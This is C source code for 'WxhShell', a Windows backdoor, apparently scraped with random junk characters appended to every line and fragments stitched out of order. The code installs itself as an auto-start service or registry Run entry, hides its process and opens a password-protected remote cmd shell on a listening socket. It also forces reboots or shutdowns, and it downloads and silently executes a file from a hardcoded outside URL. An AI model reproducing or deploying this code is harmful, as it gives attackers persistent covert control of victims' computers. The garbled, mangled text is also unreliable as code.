    if(Boot(SHUTDOWN)) N/IDj2C4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XUTI0  
    else { DC4O@"  
    closesocket(wsh); FRqJ#yd]  
    ExitThread(0); do@`(f3 g  
    } )!M %clm.  
    break; \ <b-I  
    } }i0(^"SoXZ  
  // 获取shell !A!}j.s  
  case 's': { f"My;K$l;  
    CmdShell(wsh); xXkP(^ Y  
    closesocket(wsh); VUAW/  
    ExitThread(0); 8@ y@}  
    break; O75^(keW  
  } "5:^aC]  
  // 退出 b{q-o <Q  
  case 'x': { b|F4E{{D^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #D4gNQg@R  
    CloseIt(wsh); {8`V5:  
    break; 6vy(@z  
    } =pSuyM'  
  // 离开 <\40?*2  
  case 'q': { [\+"<;m$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $ <'i+kK  
    closesocket(wsh); z !2-U  
    WSACleanup(); Y7{|iw(#  
    exit(1); J=v" HeVm  
    break; H?A&P4nZ  
        } h r9rI  
  } 5~)m6]-6  
  } H809gm3(Z  
%N``EnF2  
  // 提示信息 6xI9 %YDy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;>%@  
} P| c[EUT  
  } $d\]s]}`  
^I2+$  
  return; mY!os91KoO  
} #2AKO/  
XL SYE   
// shell模块句柄 W:s`;8iM$  
int CmdShell(SOCKET sock) ++{,1wY\  
{ g>].m8DZ'  
STARTUPINFO si; /*Xr^X6  
ZeroMemory(&si,sizeof(si)); E d6k7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2L?jp:$;X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }_,1i3Rip  
PROCESS_INFORMATION ProcessInfo; W%$sA}O  
char cmdline[]="cmd"; %#7NCdk;S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z|l/6L8  
  return 0; J4Yu|E<&  
} }C6RgE.6<  
]nmVT~lBe"  
// 自身启动模式 =Rv!c+?  
int StartFromService(void) Q)vf>LwC2S  
{ V+04X"  
typedef struct vSyR% j  
{ YS$42J_T  
  DWORD ExitStatus; &?[uY5Mk  
  DWORD PebBaseAddress; '8RBR%)y  
  DWORD AffinityMask; d#l z^Ls2  
  DWORD BasePriority; 6yU#;|6d  
  ULONG UniqueProcessId; |t<Uh,Bt  
  ULONG InheritedFromUniqueProcessId; /<"<N<X  
}   PROCESS_BASIC_INFORMATION;  Y7q=]  
B}O M:0  
PROCNTQSIP NtQueryInformationProcess; Xx)PyO  
b# v+_7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e$ pXnMx7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LHJ}I5zv  
i"4&UJu1;  
  HANDLE             hProcess; CSu}_$wC#  
  PROCESS_BASIC_INFORMATION pbi; n*yVfI  
SLGo/I*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mEh([ZnY  
  if(NULL == hInst ) return 0; CGYZEPRR  
hzR1O(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /^Ckk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (j>a?dKDS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XXwe/>J  
mT:Z!sS  
  if (!NtQueryInformationProcess) return 0; "~:AsZ"7  
<4{Jm8zJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3k U4?D]  
  if(!hProcess) return 0; VgBZ@*z(x  
Ej;BI#gx=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {`KRr:w  
!t.*xT4W  
  CloseHandle(hProcess); d<,'9/a>  
= ^NTHc^*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 16pk4f8  
if(hProcess==NULL) return 0; )c;zNs  
1\XR6q:2  
HMODULE hMod; >)+ -:  
char procName[255]; s2 8t'  
unsigned long cbNeeded; &-e@Et`Pg  
8x,{rS qq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tl/!Dn  
()\=(n!J  
  CloseHandle(hProcess); I=;.o>  
8gI f  
if(strstr(procName,"services")) return 1; // 以服务启动 &xgKHbg  
JA <Hm.V#  
  return 0; // 注册表启动 8*$HS.Db'  
} gL/D| =  
v-utDQT3  
// 主模块 D# Gf.c  
int StartWxhshell(LPSTR lpCmdLine) iCZuE:I1K,  
{ PKxI09B  
  SOCKET wsl; YU]|N 'mL2  
BOOL val=TRUE; ' 5F3,/r  
  int port=0; KFuP gp  
  struct sockaddr_in door; ^F="'/Pq[  
dm:2:A8^  
  if(wscfg.ws_autoins) Install(); dX^d\ wX  
AuW-XK.  
port=atoi(lpCmdLine); *hV$\CLT.  
_G62E $=  
if(port<=0) port=wscfg.ws_port; 9| {t%F=-  
lL<LJ :L  
  WSADATA data; kM JA#{<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GxynLXWo>  
V1]QuQ{&s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sy0-tK4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X?B\+dq  
  door.sin_family = AF_INET; zKllwIf i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9!>Ks8'.d  
  door.sin_port = htons(port); \GP0FdpV  
.{8?eze[m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ey/=\@[p  
closesocket(wsl); 6[k7e!&  
return 1; k x?m "a%  
} fvNj5Vq:  
#`5>XfbmQ(  
  if(listen(wsl,2) == INVALID_SOCKET) { Z;"YUu[(  
closesocket(wsl); 7] }2`^9  
return 1; )?$zY5  
} CTP!{<ii  
  Wxhshell(wsl); tbm/gOBw  
  WSACleanup(); YLU.]UC  
. l>.  
return 0; :|z.F+-/  
=cwdl7N&I  
} ~:xR0dqx  
25H=RTw  
// 以NT服务方式启动 CU+H`-+"J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 86f8b{_e"  
{ <t"KNKI  
DWORD   status = 0; .Y*jL&!  
  DWORD   specificError = 0xfffffff; 2E$K='H:,  
c`agrS:P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b+tm[@|,v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4R&e5!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dm~Uj  
  serviceStatus.dwWin32ExitCode     = 0; p?H2W-  
  serviceStatus.dwServiceSpecificExitCode = 0; xWuvT,^  
  serviceStatus.dwCheckPoint       = 0; p\G1O*Z  
  serviceStatus.dwWaitHint       = 0; WMXxP gik  
h~r&7G@[}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~R*01AnZ  
  if (hServiceStatusHandle==0) return; e9p!Caf~I-  
3;<Vv*a"Dm  
status = GetLastError(); I*`;1+`  
  if (status!=NO_ERROR) %c-T Gr,  
{ `#c36  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t^|GcU]  
    serviceStatus.dwCheckPoint       = 0; .:(T}\]R  
    serviceStatus.dwWaitHint       = 0; r=4vN=:  
    serviceStatus.dwWin32ExitCode     = status; *!c&[- g  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,w|Or}h]7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x4Wu`-4^  
    return; @;b @O _  
  } 9lR-  
A2p]BW&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?C`&*+  
  serviceStatus.dwCheckPoint       = 0; E06)&tF  
  serviceStatus.dwWaitHint       = 0; UPGS/Xs]1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ('oA{,#L  
} 4DV@-  
GWCU 9n  
// 处理NT服务事件,比如:启动、停止 ?d5_{*]+v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N${Wh|__^l  
{ h~-cnAMt  
switch(fdwControl) ;4Wz0suf  
{ &S9O:>=*  
case SERVICE_CONTROL_STOP: Qk?J4 B  
  serviceStatus.dwWin32ExitCode = 0; n>L24rL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3ahbv%y  
  serviceStatus.dwCheckPoint   = 0; i0g/'ZP  
  serviceStatus.dwWaitHint     = 0; I2^@>/p8\(  
  { 'X P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S '(K  
  } 8o\KF(I  
  return; B.F~/PET  
case SERVICE_CONTROL_PAUSE: YGsg0I't  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^EZ?wdL  
  break; mXJ`t5v^l  
case SERVICE_CONTROL_CONTINUE: _`d=0l*8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D`hg+64}  
  break; 8\BYm|%aa  
case SERVICE_CONTROL_INTERROGATE: ^CfWLL& c  
  break; #'fQx`LV  
}; a?]~Sw"@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [+(fN  
} !JnxNIr&i|  
ewOe A|  
// 标准应用程序主函数 \o<&s{ 6L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?O.'_YS  
{ 8umW>  
(RafidiH  
// 获取操作系统版本 30<3DA_P  
OsIsNt=GetOsVer(); Q4B(NYEu(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H|I.h{:  
n<3{QqF  
  // 从命令行安装 DP08$Iq  
  if(strpbrk(lpCmdLine,"iI")) Install();  hpOK9  
J5L[)Gd)D  
  // 下载执行文件 aBT8mK -.  
if(wscfg.ws_downexe) { 0RGqpJxk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CQh6;[\:  
  WinExec(wscfg.ws_filenam,SW_HIDE); |TRl >1rv  
} 5$%CRm  
~zc B@; :  
if(!OsIsNt) { CJf4b:SY@  
// 如果时win9x,隐藏进程并且设置为注册表启动 jVInTR0f[  
HideProc(); ofy)}/i  
StartWxhshell(lpCmdLine); &]jCoBj+_  
} w|( ix;pK  
else .,&6 x.  
  if(StartFromService()) IiZXIG4H  
  // 以服务方式启动 *zl-R*bM$  
  StartServiceCtrlDispatcher(DispatchTable); <hB~|a<#  
else 9HG"}CGZP  
  // 普通方式启动 nV>=n,+s"  
  StartWxhshell(lpCmdLine); 3}x6IM 2  
RWdx) qj{  
return 0; ^Kj xQO6y3  
} :~LOw}N!aQ  
qLk7C0  
F ,h}HlU  
2U rE>_  
=========================================== }cd-BW  
ROj9#:  
r`A|2(h5B  
4\iy{1{E,C  
a @i?E0Fr  
Bs';!,=  
" .Dt.7G  
@X]J MicJ  
#include <stdio.h> Je#vu`.\\  
#include <string.h> )@E'yHYO>  
#include <windows.h> TQsTL2a  
#include <winsock2.h> Z1sRLkR^  
#include <winsvc.h> l ^;=0UR_  
#include <urlmon.h> *$9Rb2}kK  
8 _|"+Ze  
#pragma comment (lib, "Ws2_32.lib") G^A}T3  
#pragma comment (lib, "urlmon.lib") <59G  
^#&PTq>  
#define MAX_USER   100 // 最大客户端连接数 j38>5DM6L  
#define BUF_SOCK   200 // sock buffer 7da~+(yhr  
#define KEY_BUFF   255 // 输入 buffer T~)zgu%q_  
+W#["%kw  
#define REBOOT     0   // 重启 gbu@&   
#define SHUTDOWN   1   // 关机 .( X!*J]G  
L]3gHq  
#define DEF_PORT   5000 // 监听端口 #p/'5lA&j  
t[%ELHV  
#define REG_LEN     16   // 注册表键长度 9}#9i^%}  
#define SVC_LEN     80   // NT服务名长度 "fWm{;  
{IT;g9x  
// 从dll定义API VCc57 Bo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iuHs.k<z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); laA3v3*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z.0!FUd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ydf;g5OZ  
cBDOA<]r,  
// wxhshell配置信息 != u S  
struct WSCFG { Z8q*XpUH  
  int ws_port;         // 监听端口 TM0DR'.  
  char ws_passstr[REG_LEN]; // 口令 l4Qv$  
  int ws_autoins;       // 安装标记, 1=yes 0=no DPylc9[-  
  char ws_regname[REG_LEN]; // 注册表键名 +Q&CIo  
  char ws_svcname[REG_LEN]; // 服务名  H;Cv] -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k*o>ZpjNH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2br~Vn0N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V<0J j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7!('+x(>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )d7U3i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #b+>O+vx8  
&d i=alvv1  
}; g0 Jy:`M  
z:p9&mi  
// default Wxhshell configuration U?(+ {4l  
struct WSCFG wscfg={DEF_PORT, Rv@( [rn+  
    "xuhuanlingzhe", A =l1_8,`h  
    1, SS"Z>talw  
    "Wxhshell", h f9yK6  
    "Wxhshell", QIu!o,B  
            "WxhShell Service", L0>w|LpRc  
    "Wrsky Windows CmdShell Service", nWsR;~pK  
    "Please Input Your Password: ", Vho^a:Z9}W  
  1, ^9 {r2d&c  
  "http://www.wrsky.com/wxhshell.exe", ZY-mUg  
  "Wxhshell.exe" V(<(k,8=  
    }; .tt=\R  
Su/}OS\R  
// 消息定义模块 THHA~;00YN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n%I9l]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~Pi CA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?PDrj/: *  
char *msg_ws_ext="\n\rExit."; &ZAc3@l[c  
char *msg_ws_end="\n\rQuit."; "MU)8$d  
char *msg_ws_boot="\n\rReboot..."; .8/W_iC92  
char *msg_ws_poff="\n\rShutdown..."; /<it2=  
char *msg_ws_down="\n\rSave to "; Zm#qW2a]P  
Y"'k $jS-  
char *msg_ws_err="\n\rErr!"; VDC"tSQ  
char *msg_ws_ok="\n\rOK!"; `]m/za%7  
=*Y=u6?  
char ExeFile[MAX_PATH]; ~R\U1XXyUY  
int nUser = 0; vp..>BMJ  
HANDLE handles[MAX_USER];  Wkc^?0p  
int OsIsNt; VO+3@d:  
["XS|"DM  
SERVICE_STATUS       serviceStatus; 8,YxCm ie  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0/0rWqg /  
4Vrx9 sA1  
// 函数声明 kH>^3( Q\  
int Install(void); +d/^0^(D\5  
int Uninstall(void); \X0wr%I  
int DownloadFile(char *sURL, SOCKET wsh); b%M|R%)]  
int Boot(int flag); <]kifiN#  
void HideProc(void); ?8aPd"x  
int GetOsVer(void); jG~UyzWH;  
int Wxhshell(SOCKET wsl); V'XvwO@  
void TalkWithClient(void *cs); J&jig?t  
int CmdShell(SOCKET sock); "RMvWuNt  
int StartFromService(void); Oky9G C.a  
int StartWxhshell(LPSTR lpCmdLine); qD/FxR-!  
a@U0s+V&a0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v}-jls  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {GM8}M~D&  
SWM6+i p  
// 数据结构和表定义 ]#Q'~X W  
SERVICE_TABLE_ENTRY DispatchTable[] = FAP1Bm  
{ hV>@qOl '  
{wscfg.ws_svcname, NTServiceMain}, ZeP3 Yjr3  
{NULL, NULL} }t9A#GOz  
}; 9G=ZB^  
ky98Bz%  
// 自我安装 {;j@-=pV  
int Install(void) _=68iDXm  
{ L}5IX)#gH  
  char svExeFile[MAX_PATH]; ht@s!5\LK  
  HKEY key; 'c|Y*2@  
  strcpy(svExeFile,ExeFile); H-Z1i  
HnmByn\j  
// 如果是win9x系统,修改注册表设为自启动 <u85>x  
if(!OsIsNt) { kFF)6z:2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 20p/p~<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a?QDf5C q  
  RegCloseKey(key); w=S7zzL)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Q3Ad>,U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WmT(>JBO  
  RegCloseKey(key); Z,bvD'u  
  return 0; \qh -fW; #  
    } .4-I^W"1  
  } FI|@=l;_  
} KV$J*B Y  
else { smt6).o  
jboQ)NxT!,  
// 如果是NT以上系统,安装为系统服务 M=aWL!nJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >J[Wd<~t  
if (schSCManager!=0) B[rxV  
{ (" +/ :  
  SC_HANDLE schService = CreateService C6`<SW  
  ( $k&}{c8P  
  schSCManager, l TJqWSV=f  
  wscfg.ws_svcname, %<Q?|}  
  wscfg.ws_svcdisp, Bz#K_S  
  SERVICE_ALL_ACCESS, 63?fn~0\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MJ:>ZRXC E  
  SERVICE_AUTO_START, :,^pLAt  
  SERVICE_ERROR_NORMAL, q$=EUB"C  
  svExeFile, >@o}l:*  
  NULL, (W l5F  
  NULL, 32*FISH^  
  NULL, 'ehJr/0&g  
  NULL, ,3{z_Rax-  
  NULL n/3gx4.g  
  ); t"@: a Y"  
  if (schService!=0) _,M:"3;Z  
  { #j{!&4M  
  CloseServiceHandle(schService); L('G1J}  
  CloseServiceHandle(schSCManager); d#9"_{P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $N#f)8v  
  strcat(svExeFile,wscfg.ws_svcname); ' 1aU0<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fuxBoB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c=T^)~$$  
  RegCloseKey(key); &)p/cOiV  
  return 0; Y+#e| x  
    } 7gV"pa  
  } `[;b#.  
  CloseServiceHandle(schSCManager); 6_wf $(im  
} @lP<Mq~]  
} 43;@m}|7$  
_r}oYs%1  
return 1; )oSUhU26}  
} 3 9Ql|l$  
fFfH9cl!  
// 自我卸载 2>l:: 8Pp  
int Uninstall(void) !$>d75zli  
{ 2dr[0tE  
  HKEY key; ~nk'ZJ   
nuB@Fkr  
if(!OsIsNt) { F` ifHO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d/GP.d  
  RegDeleteValue(key,wscfg.ws_regname); J(\"\Z  
  RegCloseKey(key); "b!QE2bRO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lj$yGdK<  
  RegDeleteValue(key,wscfg.ws_regname); @awaN  
  RegCloseKey(key); cf|<~7  
  return 0; 'wAO Y  
  } =$g8"[4   
} 22|f!la8n  
} ~7!J/LHg  
else { %3i/PIN  
.6[xX?i^T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =>hq0F4[;  
if (schSCManager!=0) WG;1[o&  
{ ?'K}bmdt}.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0C}7=_?  
  if (schService!=0) MO :##C  
  { QK\QvU2y  
  if(DeleteService(schService)!=0) { }B_n}<tjD  
  CloseServiceHandle(schService); ~$f+]7  
  CloseServiceHandle(schSCManager); (9BjZ&ej  
  return 0; ?J+[|*'yK  
  } ~u&3Ki*x  
  CloseServiceHandle(schService); 0*%j6*XDq9  
  } 3R?7&oXvH  
  CloseServiceHandle(schSCManager); 5( lE$&   
} 9jiZtwRpk  
} 1{%EQhNd  
,LXuU8sB  
return 1; &tKs t,UR8  
} -pj&|< h+9  
2F3IC  
// 从指定url下载文件 YizJT0$  
int DownloadFile(char *sURL, SOCKET wsh) 9oP8| <+  
{ J?-"]s`J  
  HRESULT hr; F]W'spF,  
char seps[]= "/"; YF @'t~_Z  
char *token; !>/U6h,_  
char *file; i6r%;ueLb  
char myURL[MAX_PATH]; Xt /T0.I  
char myFILE[MAX_PATH]; iLy }G7h  
UUv&X+ Y  
strcpy(myURL,sURL); 3skq%;%Wsk  
  token=strtok(myURL,seps); vI ]| W  
  while(token!=NULL) r]km1SrS  
  { A5Yfm.Jy  
    file=token; 2"nd(+ QH  
  token=strtok(NULL,seps); SPL72+S`,  
  } N40.GL0s  
q:-8W[_  
GetCurrentDirectory(MAX_PATH,myFILE); $qy%Q]  
strcat(myFILE, "\\"); 'R~x.NM  
strcat(myFILE, file); '@HWp8+  
  send(wsh,myFILE,strlen(myFILE),0); s_K:h  
send(wsh,"...",3,0); [e ;K$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Iq_cs '  
  if(hr==S_OK) $dci?7q  
return 0; #:{PAt  
else UioLu90 P  
return 1; GfY!~J  
_C"W;n'  
} IZ3w.:A  
^MUtmzh  
// 系统电源模块 Ol"p^sqwj  
int Boot(int flag) vN 7a)s  
{ aD3'gc,l  
  HANDLE hToken; S8<O$^L^  
  TOKEN_PRIVILEGES tkp; R{@WlkG}  
hti)<#f  
  if(OsIsNt) { "VkraB.i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $t-HJ<!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .BlGV2@^#  
    tkp.PrivilegeCount = 1; UBi0 /  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +|Xx=1_?BK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %`HAg MgP  
if(flag==REBOOT) { }9>W41  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9pStArF?F0  
  return 0; =4/lJm``  
} I9ubVcV8  
else { 2@1A,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sju. `f>-r  
  return 0;  {k}S!T  
} <"AP&J'H  
  } F^&_O*"  
  else { 6\g]Y  
if(flag==REBOOT) { zfO0+fMH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) znFa4  
  return 0; MaXgy|yB1  
} ` *8p T  
else { z`xdRe{QP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ed2QGTgR  
  return 0; ~DhYiOSo  
} uOs 8|pj,  
} %Ox*?l _  
?A2#V(4  
return 1; 5X nA.?F^  
} {G/4#r 2>  
?H0 #{!s  
// win9x进程隐藏模块 &I:5<zK{  
void HideProc(void) mE%H5&VSI  
{ m /JpYv~  
 EP'2'51  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B:a&)L wp0  
  if ( hKernel != NULL ) %[-D&flKC  
  { Sh*LD QL<?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /{d7%Et6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fZ]Y  
    FreeLibrary(hKernel); V3xC"maA@  
  } gx#xB8n  
`3SY~&X  
return; W7S`+Pq  
} 7P?z{x':T  
0tC+?  
// 获取操作系统版本 g,7`emOX  
int GetOsVer(void) ?^Q!=W<7  
{ |jk"; h  
  OSVERSIONINFO winfo; bf-.SX~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &o= #P2Qd  
  GetVersionEx(&winfo); 5<GC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =" #O1$  
  return 1; ZTVX5"#Q  
  else 4W*52*'F,  
  return 0; TPt<(-}W  
} /^G1wz2  
lDnF(  
// 客户端句柄模块 sikG}p0mx<  
int Wxhshell(SOCKET wsl) =m:xf&r#  
{ B5~S&HQ?B6  
  SOCKET wsh; 0ym>Hbax)  
  struct sockaddr_in client; B4r4PSB>!  
  DWORD myID; .v9#|d d+  
>93vMk~hU  
  while(nUser<MAX_USER) vXAO#'4tm%  
{ 6UG7lH!M  
  int nSize=sizeof(client); 7MZBU~,r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [DC8X P5 <  
  if(wsh==INVALID_SOCKET) return 1; ?V4?r2$c  
(q59cAw~X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vi?[yu<F  
if(handles[nUser]==0) 93$'PwWgiF  
  closesocket(wsh); 1\=)b< y  
else C,P>7  
  nUser++; Pb]: i+c)  
  } %# ?)+8"l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %(MaH  
6.ASLH3#  
  return 0; casva;  
} P B_ +:S^8  
B<u6Z!Pp2  
// 关闭 socket *8M 0h9S$  
void CloseIt(SOCKET wsh) <kN4@bd;  
{ / Of*II&  
closesocket(wsh); J70#pF  
nUser--; (, /`*GC  
ExitThread(0); CH[U.LJQ-O  
} =J&vr  
'X d_8.  
// 客户端请求句柄 s {p-cV  
void TalkWithClient(void *cs) W,9. z%  
{ $l@nk@  
e;GLPB   
  SOCKET wsh=(SOCKET)cs; 26.),a  
  char pwd[SVC_LEN]; \1cay#X  
  char cmd[KEY_BUFF]; ig5 d-A  
char chr[1]; )y4bb^;z  
int i,j; ON.C%-T-  
5R\{&  
  while (nUser < MAX_USER) { "j;"\i0  
b R> G%*a  
if(wscfg.ws_passstr) { "SJp9s3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [KR|m,QWp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? C1.g'}7  
  //ZeroMemory(pwd,KEY_BUFF); 8/F}vfKEN  
      i=0; +!h~T5Ck  
  while(i<SVC_LEN) { {+%|n OWV  
l2vIKc  
  // 设置超时 dmI~$*  
  fd_set FdRead;  +:k Iq  
  struct timeval TimeOut; b;G3&R]  
  FD_ZERO(&FdRead); -c|dTZ8D)8  
  FD_SET(wsh,&FdRead); AiKja>Fl<  
  TimeOut.tv_sec=8;   V` 7  
  TimeOut.tv_usec=0; I .jB^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W=:4I[a6Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )c!7V)z  
"HX,RJ @^K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XHs>Q>`  
  pwd=chr[0]; z*n  
  if(chr[0]==0xd || chr[0]==0xa) { Yef=HSzo  
  pwd=0; (8T36pt~  
  break; `Sgj!/! F  
  } "Zm**h.t  
  i++; & mwQj<Z  
    } d5Hp&tm  
+a1Or  
  // 如果是非法用户,关闭 socket H3\4&q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .' foS>W=t  
} tljZE)  
<LL+\kfTZO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sk7l&B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nb-]fa  
%3b;`Oa  
while(1) { #gn{X!;-;  
_ 3@[S F  
  ZeroMemory(cmd,KEY_BUFF); yvR3|  
`#@#e Z  
      // 自动支持客户端 telnet标准   7QV@lR<C2R  
  j=0; )aSj!X'`;  
  while(j<KEY_BUFF) { .)=T1^[hI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jB) RvvMU5  
  cmd[j]=chr[0]; 1<|\df.  
  if(chr[0]==0xa || chr[0]==0xd) { -KV)1kET  
  cmd[j]=0; sNB*S{   
  break; vd<r}3i*  
  } X!H[/b:1O  
  j++; @jh\yjrW  
    } ]JDKoA{S0  
<14,xYpE  
  // 下载文件 [0c7fH`8V  
  if(strstr(cmd,"http://")) { wHx@&Tp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5rp,xk!  
  if(DownloadFile(cmd,wsh)) oKyl2jg+,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (h {"/sR  
  else CCoT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;OC~,?O5  
  } L#huTKX}  
  else { WAq)1gwN  
!s^[|2D_U  
